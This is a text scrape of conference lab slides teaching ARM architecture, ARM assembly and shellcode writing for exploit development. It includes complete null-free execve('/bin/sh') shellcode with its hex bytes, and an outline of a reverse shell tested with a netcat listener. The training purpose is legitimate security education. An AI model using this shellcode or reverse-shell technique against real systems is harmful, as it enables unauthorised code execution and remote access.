hitb lab: arm exploitation lab (part 1) · 2019-05-10 · outline session 1 • introduction to the...

78
HITB LAB: ARM Exploitation Lab (Part 1) 1

Upload: others

Post on 12-Jun-2020

10 views

Category:

Documents


1 download

TRANSCRIPT

Page 1: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

HITB LAB: ARM Exploitation Lab (Part 1)

!1

Page 2: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Your trainer• Maria aka Azeria (@Fox0x01, @azeria_labs)

• B.Sc. & M.Sc. Enterprise Security, OSCP

• Previously: Pentester for 6 years

• Now: Exploit dev, ARM assembly witch, trainer

• Black Hat Training Review Board & Briefings Review Board

• “ARM innovator” (according to Arm), working on exploit mitigation research w/ Arm Ltd.

• Founder of Azeria Labs, private training courses on advanced exploit dev

• Advanced exploit engineering, stealth exploits, email me for details

• Training attendees get a discount on private trainings :)

Page 3: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Outline Session 1

• Introduction to the ARM Architecture

• ARM Assembly • Lab 1: Writing Shellcode • Solution

Session 2 • Stack Overflows • Introduction to Ret2Libc • Lab 2: Buffer Overflow Exploit without NX

• Introduction to NX Exploit Mitigation

• Lab 3: Buffer Overflow Exploit with NX Bypass

!3

Page 4: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

OutlineDownload Lab Workbooks here: https://azeria-labs.com/downloads/HITB-ARM-Lab1+2.pdf

Download slides here: https://azeria-labs.com/downloads/HITB-Lab1.pdf https://azeria-labs.com/downloads/HITB-Lab1.pdf

Download VM here: https://drive.google.com/file/d/1dzyLfUrAN1HIT5yuYPIGIFBtWi-MKZWw/view?usp=sharing

!4

Page 5: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Introduction to arm

Page 6: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

The ARM Architecture

Page 7: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Architecture vs. Microarchitecture

• Architecture • Behavioral description of a processor

• how the processor functions and behaves, what instructions it has, what instructions do etc.

• Micro-architecture • How a processor is actually built

• Two processors that implement the same architecture can execute the same code, but might have very different pipelines, caches, performance etc.

Page 8: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Architecture vs. Microarchitecture

Page 9: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Processor Classes

• A-Class • Application processors • Targets typically run a full OS such as Linux • Virtual address support • Virtualization

• M-Class • Microcontrollers • Typically run bare-code or RTOS

• R-Class • Targets embedded systems with real time and/or higher safety requirements • Typically run bare-metal code or RTOS • Used in systems that need high reliability and where deterministic behavior is important

Page 10: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session
Page 11: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

ARM CPU Features

• RISC (Reduced Instruction Set Computing) processor • Simplified instruction set • More registers than in CISC (Complex Instruction Set Computing)

• Load/Store architecture • No direct operations on memory

• 32-bit ARM mode / 16-bit Thumb mode

• Conditional Execution on almost all instructions (ARM mode only)

• Inline Barrel Shifter

• Word aligned memory access (4 byte aligned)

!11

Page 12: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Memory Segments• .text

• Executable part of the program (instructions)

• .data and .bss

• Variables or pointers to variables used in the app

• .plt and .got • Specific pointers to various imported functions

from shared libraries etc.

• The Stack and Heap regions • used by the application to store and operate on

temporary data (variables) that are used during the execution of the program

!12

Page 13: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

!13

Page 14: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

ARM Assembly Basics

!14

Page 15: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Useful Assembler Directives for GNU Assembler

• Assembler directives have nothing to do with assembly language

• Are used to tell assembler to do something

• defining a symbol, change sections, etc.

• .text directive switches current section to the .text section

• usually going into flash memory

• .data directive switches current section to the .data section

• will be copied to RAM

• .section .rodata if you wish data to be copied to SRAM

!15

Page 16: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

!16

Page 17: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

!17

Page 18: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

!18

Page 19: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

!19

Page 20: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

!20

Page 21: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Registers

Page 22: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

ARM Registers

Page 23: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Current Status Program Register (CPSR)

Page 24: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Current Status Program Register (CPSR)

Page 25: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Current Status Program Register (CPSR)

Page 26: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Conditional Execution

Page 27: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Conditional Execution

Page 28: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Current Status Program Register (CPSR)

Page 29: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Current Status Program Register (CPSR)

Page 30: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Current Status Program Register (CPSR)

Page 31: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Current Status Program Register (CPSR)

Page 32: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

!32

Page 33: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Program Counter• ARM uses a pipeline

• In order to increase speed of flow of instructions to processor

• Rather than pointing to the instruction being executed, the PC points to the instruction being fetched.

• Bit 0 of PC is always 0 (unless in Jazelle mode)

• In hardware, bit 0 of PC is undefined

• BX switch to thumb if target PC bit 0 is 1.

• So you can’t just ADD PC, PC, #1 to switch to Thumb.

!33

Page 34: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Thumb Mode• Two execution states: ARM and Thumb

• Switch state with BX/BLX instruction

• Thumb is a 16-bit instruction set • Thumb-2 (16 and 32-bit), adding more 32-bit

instructions and ability to handle exceptions • For us: useful to get rid of NULL bytes in our shellcode

• Most instructions unconditional

• The instruction set can be changed during:

• Function call/return

• Exception call/return

Page 35: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Thumb mode

!35

Page 36: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Most Common Instructions

!36

Page 37: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Data processing instructions

Page 38: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Load Immediate Values…

*https://raw.githubusercontent.com/azeria-labs/rotator/master/rotator.py

.section .text

.global _start _start: .THUMB mov r0, #511 bkpt

azeria@labs:~$ as test.s -o test.o test.s: Assembler messages: test.s:5: Error: invalid constant (1ff) after fixup

Page 39: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Load Immediate values

!39

Page 40: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Load Immediate values

!40

Page 41: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Load Immediate values

!41

Page 42: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Load Immediate values

!42

Page 43: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Literal Pool

!43

The assembler uses literal pools to store some constant data in code sections. The assembler places a literal pool at the end of each section.

Page 44: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Load / Store Instructions

!44

• Load and Store Word or Byte

• LDR / STR / LDRB / STRB

• Can be executed conditionally!

• Syntax: • <LDR|STR>{<cond>}{<size>} Rd, <address>

Page 45: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Replace X with null-byte

!45

Page 46: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Replace X with null-byte

!46

Page 47: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Store Byte (STRB)

!47

Page 48: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

PC-relative Addressing

!48

Page 49: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

FunctionsBranches and Subroutines

Page 50: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Branches

!50

Page 51: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Branches

!51

Page 52: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Preserving Runtime Env via Stack

TYPO

Page 53: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Preserving Runtime Env via Stack

Page 54: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Non-Leaf Functions

Page 55: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Lab 1: Shellcode

Page 56: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Benefits of writing ARM Shellcode

!56

• Writing your own assembly helps you to understand assembly • How functions work

• How function parameters are passed • How to translate functions to assembly for any purpose

• Learn it once and know how to write your own variations • For exploit development and vulnerability research

• You can write your own shellcode instead of having to rely on pre-existing exploit-db shellcode

Page 57: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Structure of an Assembly Program

!57

.section .text

.global _start

_start: .code 32 <instruction> <instruction>

.code 16 <thumb instruction>

.ascii “some string”

Page 58: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

How to Shellcode

!58

• Step 1: Figure out the system call that is being invoked

• Step 2: Figure out the number of that system call

• Step 3: Map out parameters of the function

• Step 4: Translate to assembly

• Step 5: Dump disassembly to check for null bytes

• Step 6: Get rid of null bytes ! de-nullifying shellcode

• Step 7: Convert shellcode to hex

Save time with AZM! :)

Page 59: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

AZM Live Assembler & Syntax Checker

• In-browser assembler purely written in JavaScript

• Assembles instructions as you type

• Shows null-bytes as you type

• Write your shellcode in AZM and assemble when you think it’s ready

• Your VM contains an older version of AZM

• If you want the newest version, fetch from azm.azerialabs.com

Page 60: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Step 1: Tracing System calls

We want to translate the following code into ARM assembly:

#include <stdio.h>

void main(void) { system("/bin/sh"); }

azeria@labs:~$ gcc system.c -o system azeria@labs:~$ strace -h -f -- follow forks, -ff -- with output into separate files -v -- verbose mode: print unabbreviated argv, stat, termio[s], etc. args --- snip -- azeria@labs:~$ strace -f -v system--- snip --

[pid 4575] execve("/bin/sh", ["/bin/sh"], ["MAIL=/var/mail/pi", "SSH_CLIENT=192.168.200.1 42616 2"..., "USER=pi", "SHLVL=1", "OLDPWD=/home/azeria", "HOME=/home/azeria", "XDG_SESSION_COOKIE=34069147acf8a"..., "SSH_TTY=/dev/pts/1", "LOGNAME=pi", "_=/usr/bin/strace", "TERM=xterm", "PATH=/usr/local/sbin:/usr/local/"..., "LANG=en_US.UTF-8", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "SHELL=/bin/bash", "EGG=AAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "LC_ALL=en_US.UTF-8", "PWD=/home/azeria/", "SSH_CONNECTION=192.168.200.1 426"...]) =

!60

Page 61: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Step 2: Figure out Syscall number

azeria@labs:~$ grep execve /usr/include/arm-linux-gnueabihf/asm/unistd.h #define __NR_execve (__NR_SYSCALL_BASE+ 11

OR: https://w3challs.com/syscalls/?arch=arm_thumb

!61

Page 62: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Step 3: Mapping out parameters

• execve(*filename, *argv[], *envp[])

• Simplification • argv = NULL

• envp = NULL

• Simply put: • execve(*filename, 0, 0)

!62

Page 63: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Step 3: Mapping out Parameters

!63

Page 64: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Step 4: Translate to Assembly

!64

Page 65: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Step 5: Check for Null Bytespi@raspberrypi:~$ as execve.s -o execve.o && ld –N execve.o -o execve pi@raspberrypi:~$ objdump -d ./execve

./execve: file format elf32-littlearm

Disassembly of section .text:

00010054 <_start>:

10054: e28f000c add r0, pc, #12

10058: e3a01000 mov r1, #0

1005c: e3a02000 mov r2, #0

10060: e3a0700b mov r7, #11

10064: ef000000 svc 0x00000000

00010068 <binsh>:

10068: 6e69622f .word 0x6e69622f

1006c: 0068732f .word 0x0068732f

Page 66: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

AZM view

Page 67: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

!67

Step 6: De-Nullify

Page 68: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

pi@raspberrypi:~/asm $ objdump -d execve_final

execve_final: file format elf32-littlearm Disassembly of section .text:

00010054 <_start>: 10054: e28f3001 add r3, pc, #1 10058: e12fff13 bx r3 1005c: a002 add r0, pc, #8 1005e: 1a49 subs r1, r1, r1 10060: 1c0a adds r2, r1, #0 10062: 71c2 strb r2, [r0, #7] 10064: 270b movs r7, #11 10066: df01 svc 1

00010068 <binsh>: 10068: 6e69622f .word 0x6e69622f 1006c: 5868732f .word 0x5868732f

!68

Page 69: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

AZM view

Page 70: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Step 7: Hexify

pi@raspberrypi:~$ objcopy -O binary execve_final execve_final.bin

pi@raspberrypi:~$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' execve_final.bin

\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\xc2\x71\x0b\x27\x01 \xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58

!70

Page 71: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

!71

Reverse shell

Page 72: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

!72

Template

Page 73: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Create Socket

!73

Page 74: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Connect

!74

Page 75: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

STDin, STDout, STDerr

!75

Page 76: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Spawning shell

!76

Page 77: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Testing your shellcode

user@arm:~$ as reverse.s -o reverse.o && ld -N reverse.o -o reverse

user@arm:~$ ./reverse

user@ubuntu:~$ nc -lvvp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from [192.168.72.129] port 4444 [tcp/*] accepted (family 2, sport 45326)

!77

Page 78: HITB LAB: ARM Exploitation Lab (Part 1) · 2019-05-10 · Outline Session 1 • Introduction to the ARM Architecture • ARM Assembly • Lab 1: Writing Shellcode • Solution Session

Session 1 /end :)More resources at https://azeria-labs.com Twitter: @Fox0x01

!78